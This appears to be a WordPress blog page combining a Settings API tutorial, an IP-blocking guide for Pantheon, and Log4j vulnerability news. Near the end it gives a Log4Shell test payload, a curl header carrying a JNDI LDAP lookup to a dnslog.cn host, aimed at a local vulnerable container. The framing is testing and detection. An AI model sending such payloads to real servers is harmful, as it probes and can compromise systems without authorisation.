WordPress.org has a new security update. This is a very important release because it fixes most of the XSS (Cross Site Scripting) vulnerabilities.
wp-mail.php Another is the sanitation of the class WP_Date_Query. Be sure to update to the latest release. Download the latest version or update via WordPress dashboard.
The primary location to set up settings for various WordPress website parts is the Settings tab in the WordPress Admin sidebar.
Listed is the sub-menu for Settings Tab, these are:
Fields can be added to these pages by creating a simple plugin.
The WordPress functions which would be used are:
register_setting() – this would register our additional options.
add_settings_section() – this would be the section belonging to our custom settings field
add_settings_field() – this would be the custom field
First, we need to use a function that would initialize our plugin.
function wpl_settings_init() {
// register a new setting for "reading" page.
register_setting(
'reading', // $option_group
'wpl_setting_example', // $option_name
array(
'array',
/** 'callback', // $sanitize_callback. */
),
);
// register a new section in the "reading" page.
add_settings_section(
'wpl_settings_section', // $id
'WPL Settings Section', // $title
'wpl_settings_section_callback', // $callback
'reading' // $page
);
// register a new field in the "wpl_settings_section" section, ins.
add_settings_field(
'wpl_settings_option1', // $id
'Option 1', // $title
'wpl_settings_option1_callback', // $callback
'reading', // $page
'wpl_settings_section', // $section
);
// register a new field in the "wpl_settings_section" section, ins.
add_settings_field(
'wpl_settings_option2', // $id
'Option 2', // $title
'wpl_settings_option2_callback', // $callback
'reading', // $page
'wpl_settings_section', // $section
);
}
add_action( 'admin_init', 'wpl_settings_init' );
In my example code, I have added two fields, and here are the callbacks.
function wpl_settings_section_callback() {
echo '<p>WPL Section Introduction</p>';
}
function wpl_settings_option1_callback() {
$setting = get_option( 'wpl_setting_example' );
?>
<input type="text" name="wpl_setting_example[option1]" value="<?php echo isset( $setting['option1'] ) ? esc_attr( $setting['option1'] ) : ''; ?>">
<?php
}
function wpl_settings_option2_callback() {
$setting = get_option( 'wpl_setting_example' );
?>
<input type="text" name="wpl_setting_example[option2]" value="<?php echo isset( $setting['option2'] ) ? esc_attr( $setting['option2'] ) : ''; ?>">
<?php
}
Here’s the visual output.
That’s all to it. Happy coding.
This article is about blocking IPs in Pantheon for sites using the WordPress CMS. Prevent unwanted traffic incidents that might result in site outages and billing overages.
Download the nginx-access.log on the LIVE environment. The logs can be accessed using SFTP or by using the provided script from Pantheon’s documentation. Be sure to combine all the logs for a day if the site plan has multiple application containers. Identify the IP that has the highest number of visits and verify it with https://www.abuseipdb.com/
$ cat ~/site-logs/nginx-access.log | awk -F\" '{print $8}' | awk '{print $1}' | sort -n | uniq -c | sort -nr | head -20
Be sure to install the plugin WP Traffic Jammer that can be downloaded at WordPress.org https://wordpress.org/plugins/traffic-jammer. The plugin has a wp-cli command that can be used on a remote wp-cli call using Terminus. It also has a settings page to add a single IP or an IP range.
Use remote wp-cli via terminus to block the IP.
$ terminus wp <sitename>.<env> -- jam block <ip>
To unblock the IP.
$ terminus wp <sitename>.<env> -- jam unblock <ip>
On the Admin Dashboard, you would see the left side menu, click “Traffic Jammer” and add a single IP or IPs, CIDR format can be also used for IP ranges.
Use a PHP snippet that can be added to wp-config.php file. This offers an advantage since it would be triggered before loading all the plugins and themes.
if ( $_SERVER['REMOTE_ADDR'] == '154.84.133.8' ) {
header( 'HTTP/1.0 403 Forbidden' );
exit;
}
The security team from Cloudflare did continue to investigate and found additional flaws in the 2.15.0 version of Apache Log4j, which allows adversaries to initiate denial-of-service (DoS) attacks (CVE-2021-45046). The issue has been addressed on the newly available version which is 2.16.0. All companies which include Log4j on their infrastructure stack are suggested to patch to the updated version.
Cloudflare is known for its DDOS protection and is used by more than seven million websites, they have advised their customers to modify the WAF configuration to mitigate the exploit.
| Rule ID | Description | Default Action |
|---|---|---|
100514 (legacy WAF)6b1cc72dff9746469d4695a474430f12 (new WAF) | Log4J Headers | BLOCK |
100515 (legacy WAF)0c054d4e4dd5455c9ff8f01efe5abb10 (new WAF) | Log4J Body | BLOCK |
100516 (legacy WAF)5f6744fa026a4638bda5b3d7d5e015dd (new WAF) | Log4J URL | BLOCK |
The mitigation is divided into three rules that look at HTTP headers, body, and URL, in that order.
They have also introduced a fourth rule that will guard against a far broader variety of assaults at the cost of a greater false-positive rate. As a result, they have made it available, but it’s not set to BLOCK by default:
| Rule ID | Description | Default Action |
|---|---|---|
100517 (legacy WAF)2c5413e155db4365befe0df160ba67d7 (new WAF) | Log4J Advanced URI, Headers | DISABLED |
Cloudflare was the preferred choice of Kinsta, to make client websites faster and more secure. The reason they are not affected by log4j vulnerability. Kinsta is a managed WordPress hosting company that offers feature-rich, cost-effective services. They received the highest rating this year from the G2 review.
The Microsoft Threat Intelligence Center (MSTIC) which is behind the famous Windows Defender, is also acting proactively on new threats in relation to the Apache log4j vulnerability. They posted new updates regularly in regards to log4j, here in this URL https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
The cyber security experts from Praetorian posted on their youtube channel showing the 2.15.0 version of log4j still allows fetching of sensitive data.
Website owners are also worried that the vulnerability might be affecting their business. As the holidays are coming near, hopefully, vacation plans for this year’s end would not be canceled.
Apache Log4j is a logging utility that is part of the Apache Logging Services. The nature of this logging service is that it accepts logged messages to contain format strings that can be referenced remotely thru Java Naming and Directory Interface (JNDI). Information can be obtained remotely via a variety of protocols, including the Lightweight Directory Access Protocol (LDAP), Remote Method Invocation (RMI), and Domain Name Service (DNS).
A basic cPanel service is not affected, some services have the Apache Solr on it since the Solr service cannot be accessed remotely. All big companies that utilize cPanel like GoDaddy, Bluehost, and Hostgator are not affected by this vulnerability.
No, Pantheon is not affected by the log4j vulnerability. Here’s the information from their status page:
Pantheon has verified that the platform is not vulnerable to the security issue related to the open-source Apache “Log4j2″ utility.
https://status.pantheon.io/incidents/w2p9bgp05j0j
Log4j is a Java-based logging utility found in a large number of software products.
The CVE-2021-44228 [1] vulnerability (aka the “Log4Shell” vulnerability) was disclosed by the Apache Log4j project. If exploited, this vulnerability could potentially allow a remote attacker to execute code on the server.
Once this vulnerability was publicly disclosed on the 9th December 2021, Pantheon began an audit of our infrastructure, as well as engaging with our software vendors, to determine potential impact. While our exposure to the vulnerability has been minimal, we have directly remediated components and verified that existing defense in depth measures prevent exploitation as researchers have published.
No, WPEngine does not utilize the log4j on their platform stack.
No by default but if the site has custom Java code better contact the development team to review the code. Here’s their official statement:
A thorough investigation of our products and services has led us to believe our services are protected from the worst form of remote code execution. The threat of information disclosure is reduced because we aren’t sending application variables to these services. To further reduce that threat, these services are also receiving updates to disable the undesired behavior of Log4j. We’ve confirmed with our backend IaaS providers and with Fastly that they’ve either been unaffected or have mitigated any exposures.
If your project is running custom JAVA code in an app container, please immediately ask your developers to review your code for Lib4j2 usage and update it to the latest 2.15 branch.
https://status.platform.sh/incidents/k443m60v5txh
Christophe Tafani-Dereeper demonstrates this vulnerability, on this GitHub repository https://github.com/christophetd/log4shell-vulnerable-app by means of a Docker container with the version of log4j that is vulnerable.
In a terminal run:
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-appUse this DNS logger tool dnslog.cn on your test payloads.
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'
You can also use the site(dnslog.cn) to identify if your server is vulnerable.
Here are some guides on how to mitigate the vulnerability.